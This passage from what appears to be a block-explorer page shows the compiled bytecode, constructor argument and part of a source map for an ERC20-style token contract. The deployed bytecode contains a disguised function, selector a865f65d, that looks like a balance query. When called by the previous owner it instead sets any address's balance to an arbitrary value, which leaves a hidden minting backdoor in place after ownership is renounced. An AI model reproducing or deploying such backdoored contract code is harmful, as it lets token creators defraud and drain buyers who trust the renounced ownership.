80604052508101906114fa919061260d565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611596576115f1565b600954816115a38461069c565b6115ad9190611fd5565b11156115ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e5906126af565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d90612348565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd906123da565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175490612741565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836117af9190611fa1565b925081600460008282546117c39190611fa1565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118199190611fd5565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161187f9190611d43565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118e49190611d43565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195a90612348565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca906123da565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5190612741565b60405180910390fd5b8181611a669190611fa1565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611af89190611fd5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5c9190611d43565b60405180910390a350505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ba4578082015181840152602081019050611b89565b83811115611bb3576000848401525b50505050565b6000601f19601f8301169050919050565b6000611bd582611b6a565b611bdf8185611b75565b9350611bef818560208601611b86565b611bf881611bb9565b840191505092915050565b60006020820190508181036000830152611c1d8184611bca565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c5582611c2a565b9050919050565b611c6581611c4a565b8114611c7057600080fd5b50565b600081359050611c8281611c5c565b92915050565b6000819050919050565b611c9b81611c88565b8114611ca657600080fd5b50565b600081359050611cb881611c92565b92915050565b60008060408385031215611cd557611cd4611c25565b5b6000611ce385828601611c73565b9250506020611cf485828601611ca9565b9150509250929050565b60008115159050919050565b611d1381611cfe565b82525050565b6000602082019050611d2e6000830184611d0a565b92915050565b611d3d81611c88565b82525050565b6000602082019050611d586000830184611d34565b92915050565b600080600060608486031215611d7757611d76611c25565b5b6000611d8586828701611c73565b9350506020611d9686828701611c73565b9250506040611da786828701611ca9565b9150509250925092565b600060ff82169050919050565b611dc781611db1565b82525050565b6000602082019050611de26000830184611dbe565b92915050565b600060208284031215611dfe57611dfd611c25565b5b6000611e0c84828501611c73565b91505092915050565b611e1e81611c4a565b82525050565b6000602082019050611e396000830184611e15565b92915050565b60008060408385031215611e5657611e55611c25565b5b6000611e6485828601611c73565b9250506020611e7585828601611c73565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611ec657607f821691505b60208210811415611eda57611ed9611e7f565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f3c602883611b75565b9150611f4782611ee0565b604082019050919050565b60006020820190508181036000830152611f6b81611f2f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fac82611c88565b9150611fb783611c88565b925082821015611fca57611fc9611f72565b5b828203905092915050565b6000611fe082611c88565b9150611feb83611c88565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156120205761201f611f72565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612087602583611b75565b91506120928261202b565b604082019050919050565b600060208201905081810360008301526120b68161207a565b9050919050565b60008160601b9050919050565b60006120d5826120bd565b9050919050565b60006120e7826120ca565b9050919050565b6120ff6120fa82611c4a565b6120dc565b82525050565b600061211182846120ee565b60148201915081905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061217c602683611b75565b915061218782612120565b604082019050919050565b600060208201905081810360008301526121ab8161216f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061220e602483611b75565b9150612219826121b2565b604082019050919050565b6000602082019050818103600083015261223d81612201565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006122a0602283611b75565b91506122ab82612244565b604082019050919050565b600060208201905081810360008301526122cf81612293565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612332602583611b75565b915061233d826122d6565b604082019050919050565b6000602082019050818103600083015261236181612325565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123c4602383611b75565b91506123cf82612368565b604082019050919050565b600060208201905081810360008301526123f3816123b7565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e00600082015250565b6000612430601f83611b75565b915061243b826123fa565b602082019050919050565b6000602082019050818103600083015261245f81612423565b9050919050565b600061247182611c88565b915061247c83611c88565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124b5576124b4611f72565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124fa82611c88565b915061250583611c88565b925082612515576125146124c0565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612556602083611b75565b915061256182612520565b602082019050919050565b6000602082019050818103600083015261258581612549565b9050919050565b7f416d6f756e742065786365656473206d61780000000000000000000000000000600082015250565b60006125c2601283611b75565b91506125cd8261258c565b602082019050919050565b600060208201905081810360008301526125f1816125b5565b9050919050565b60008151905061260781611c5c565b92915050565b60006020828403121561262357612622611c25565b5b6000612631848285016125f8565b91505092915050565b600060408201905061264f6000830185611e15565b61265c6020830184611e15565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d61780000000000000000600082015250565b6000612699601883611b75565b91506126a482612663565b602082019050919050565b600060208201905081810360008301526126c88161268c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061272b602683611b75565b9150612736826126cf565b604082019050919050565b6000602082019050818103600083015261275a8161271e565b905091905056fea2646970667358221220a7633e0fe8deb97cf8ae39ff6c4b348ce505a71074d9d46c2a5d1e635ed1561764736f6c634300080a003300000000000000000000000092643dc4f75c374b689774160cdea09a0704a9c2
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063a9059cbb11610071578063a9059cbb14610349578063ab40caab14610379578063dd62ed3e14610397578063f2fde38b146103c7578063fbf8a77c146103e35761012c565b80638da5cb5b1461027d57806395d89b411461029b57806398636f32146102b9578063a457c2d7146102e9578063a865f65d146103195761012c565b806335ba28de116100f457806335ba28de146101eb5780633950935114610209578063622565891461023957806370a0823114610243578063715018a6146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d578063313ce567146101cd575b600080fd5b610139610401565b6040516101469190611c03565b60405180910390f35b61016960048036038101906101649190611cbe565b610493565b6040516101769190611d19565b60405180910390f35b6101876104b1565b6040516101949190611d43565b60405180910390f35b6101b760048036038101906101b29190611d5e565b6104bb565b6040516101c49190611d19565b60405180910390f35b6101d56105bc565b6040516101e29190611dcd565b60405180910390f35b6101f36105c5565b6040516102009190611d43565b60405180910390f35b610223600480360381019061021e9190611cbe565b6105cb565b6040516102309190611d19565b60405180910390f35b610241610677565b005b61025d60048036038101906102589190611de8565b61069c565b60405161026a9190611d43565b60405180910390f35b61027b6106e5565b005b6102856106f9565b6040516102929190611e24565b60405180910390f35b6102a3610722565b6040516102b09190611c03565b60405180910390f35b6102d360048036038101906102ce9190611de8565b6107b4565b6040516102e09190611d19565b60405180910390f35b61030360048036038101906102fe9190611cbe565b6107d4565b6040516103109190611d19565b60405180910390f35b610333600480360381019061032e9190611cbe565b6108c8565b6040516103409190611d43565b60405180910390f35b610363600480360381019061035e9190611cbe565b61098f565b6040516103709190611d19565b60405180910390f35b6103816109ad565b60405161038e9190611d43565b60405180910390f35b6103b160048036038101906103ac9190611e3f565b6109b3565b6040516103be9190611d43565b60405180910390f35b6103e160048036038101906103dc9190611de8565b610a3a565b005b6103eb610abe565b6040516103f89190611d19565b60405180910390f35b60606005805461041090611eae565b80601f016020809104026020016040519081016040528092919081815260200182805461043c90611eae565b80156104895780601f1061045e57610100808354040283529160200191610489565b820191906000526020600020905b81548152906001019060200180831161046c57829003601f168201915b5050505050905090565b60006104a76104a0610ad1565b8484610ad9565b6001905092915050565b6000600454905090565b60006104c8848484610ca4565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610513610ad1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058a90611f52565b60405180910390fd5b6105b08561059f610ad1565b85846105ab9190611fa1565b610ad9565b60019150509392505050565b60006009905090565b60085481565b600061066d6105d8610ad1565b8484600360006105e6610ad1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106689190611fd5565b610ad9565b6001905092915050565b61067f610fa3565b6001600760006101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ed610fa3565b6106f76000611021565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461073190611eae565b80601f016020809104026020016040519081016040528092919081815260200182805461075d90611eae565b80156107aa5780601f1061077f576101008083540402835291602001916107aa565b820191906000526020600020905b81548152906001019060200180831161078d57829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006107e3610ad1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108979061209d565b60405180910390fd5b6108bd6108ab610ad1565b8585846108b89190611fa1565b610ad9565b600191505092915050565b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000826040516020016109089190612105565b6040516020818303038152906040528051906020012090506000826040516020016109339190612105565b60405160208183030381529060405280519060200120905060008660001b90506000828414905080156109775761096a8983611126565b9650505050505050610989565b610980896111bc565b96505050505050505b92915050565b60006109a361099c610ad1565b8484610ca4565b6001905092915050565b60095481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a42610fa3565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa990612192565b60405180910390fd5b610abb81611021565b50565b600760009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090612224565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb0906122b6565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c979190611d43565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b90612348565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b906123da565b60405180910390fd5b610d8f838383611205565b6000811415610d9d57610f9e565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e415750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f92576000610e73600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661069c565b14610eb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaa90612446565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f5c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f915760006064600b5483610f739190612466565b610f7d91906124ef565b9050610f8b848484846115f6565b50610f9e565b5b610f9d8383836118f3565b5b505050565b610fab610ad1565b73ffffffffffffffffffffffffffffffffffffffff16610fc96106f9565b73ffffffffffffffffffffffffffffffffffffffff161461101f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110169061256c565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000808260001c905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900460ff166115f057600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112bd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115ef57600854811115611307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fe906125d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561153b57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ef919061260d565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c919061260d565b6040518363ffffffff1660e01b81526004016114b992919061263a565b602060405180830381865afa1580156114d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fa919061260d565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611596576115f1565b600954816115a38461069c565b6115ad9190611fd5565b11156115ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e5906126af565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d90612348565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd906123da565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175490612741565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836117af9190611fa1565b925081600460008282546117c39190611fa1565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118199190611fd5565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161187f9190611d43565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118e49190611d43565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195a90612348565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca906123da565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5190612741565b60405180910390fd5b8181611a669190611fa1565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611af89190611fd5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5c9190611d43565b60405180910390a350505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ba4578082015181840152602081019050611b89565b83811115611bb3576000848401525b50505050565b6000601f19601f8301169050919050565b6000611bd582611b6a565b611bdf8185611b75565b9350611bef818560208601611b86565b611bf881611bb9565b840191505092915050565b60006020820190508181036000830152611c1d8184611bca565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c5582611c2a565b9050919050565b611c6581611c4a565b8114611c7057600080fd5b50565b600081359050611c8281611c5c565b92915050565b6000819050919050565b611c9b81611c88565b8114611ca657600080fd5b50565b600081359050611cb881611c92565b92915050565b60008060408385031215611cd557611cd4611c25565b5b6000611ce385828601611c73565b9250506020611cf485828601611ca9565b9150509250929050565b60008115159050919050565b611d1381611cfe565b82525050565b6000602082019050611d2e6000830184611d0a565b92915050565b611d3d81611c88565b82525050565b6000602082019050611d586000830184611d34565b92915050565b600080600060608486031215611d7757611d76611c25565b5b6000611d8586828701611c73565b9350506020611d9686828701611c73565b9250506040611da786828701611ca9565b9150509250925092565b600060ff82169050919050565b611dc781611db1565b82525050565b6000602082019050611de26000830184611dbe565b92915050565b600060208284031215611dfe57611dfd611c25565b5b6000611e0c84828501611c73565b91505092915050565b611e1e81611c4a565b82525050565b6000602082019050611e396000830184611e15565b92915050565b60008060408385031215611e5657611e55611c25565b5b6000611e6485828601611c73565b9250506020611e7585828601611c73565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611ec657607f821691505b60208210811415611eda57611ed9611e7f565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f3c602883611b75565b9150611f4782611ee0565b604082019050919050565b60006020820190508181036000830152611f6b81611f2f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fac82611c88565b9150611fb783611c88565b925082821015611fca57611fc9611f72565b5b828203905092915050565b6000611fe082611c88565b9150611feb83611c88565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156120205761201f611f72565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612087602583611b75565b91506120928261202b565b604082019050919050565b600060208201905081810360008301526120b68161207a565b9050919050565b60008160601b9050919050565b60006120d5826120bd565b9050919050565b60006120e7826120ca565b9050919050565b6120ff6120fa82611c4a565b6120dc565b82525050565b600061211182846120ee565b60148201915081905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061217c602683611b75565b915061218782612120565b604082019050919050565b600060208201905081810360008301526121ab8161216f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061220e602483611b75565b9150612219826121b2565b604082019050919050565b6000602082019050818103600083015261223d81612201565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006122a0602283611b75565b91506122ab82612244565b604082019050919050565b600060208201905081810360008301526122cf81612293565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612332602583611b75565b915061233d826122d6565b604082019050919050565b6000602082019050818103600083015261236181612325565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123c4602383611b75565b91506123cf82612368565b604082019050919050565b600060208201905081810360008301526123f3816123b7565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e00600082015250565b6000612430601f83611b75565b915061243b826123fa565b602082019050919050565b6000602082019050818103600083015261245f81612423565b9050919050565b600061247182611c88565b915061247c83611c88565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124b5576124b4611f72565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124fa82611c88565b915061250583611c88565b925082612515576125146124c0565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612556602083611b75565b915061256182612520565b602082019050919050565b6000602082019050818103600083015261258581612549565b9050919050565b7f416d6f756e742065786365656473206d61780000000000000000000000000000600082015250565b60006125c2601283611b75565b91506125cd8261258c565b602082019050919050565b600060208201905081810360008301526125f1816125b5565b9050919050565b60008151905061260781611c5c565b92915050565b60006020828403121561262357612622611c25565b5b6000612631848285016125f8565b91505092915050565b600060408201905061264f6000830185611e15565b61265c6020830184611e15565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d61780000000000000000600082015250565b6000612699601883611b75565b91506126a482612663565b602082019050919050565b600060208201905081810360008301526126c88161268c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061272b602683611b75565b9150612736826126cf565b604082019050919050565b6000602082019050818103600083015261275a8161271e565b905091905056fea2646970667358221220a7633e0fe8deb97cf8ae39ff6c4b348ce505a71074d9d46c2a5d1e635ed1561764736f6c634300080a0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000092643dc4f75c374b689774160cdea09a0704a9c2
-----Decoded View---------------
Arg [0] : router (address): 0x92643Dc4F75C374b689774160CDea09A0704a9c2
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000092643dc4f75c374b689774160cdea09a0704a9c2
Deployed Bytecode Sourcemap
17951:2833:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12493:107;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13712:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12995:115;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13902:434;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12838:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18407:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14347:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19971:83;;;:::i;:::-;;13173:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10102:110;;;:::i;:::-;;9856:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12719:111;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18481:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14580:384;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16298:600;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13310:180;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18444:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13553:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10224:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18373:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12493:107;12547:13;12580:12;12573:19;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12493:107;:::o;13712:176::-;13795:4;13812:46;13828:12;:10;:12::i;:::-;13842:7;13851:6;13812:15;:46::i;:::-;13876:4;13869:11;;13712:176;;;;:::o;12995:115::-;13056:7;13083:19;;13076:26;;12995:115;:::o;13902:434::-;14008:4;14025:41;14040:6;14048:9;14059:6;14025:14;:41::i;:::-;14079:24;14106:11;:19;14118:6;14106:19;;;;;;;;;;;;;;;:33;14126:12;:10;:12::i;:::-;14106:33;;;;;;;;;;;;;;;;14079:60;;14178:6;14158:16;:26;;14150:79;;;;;;;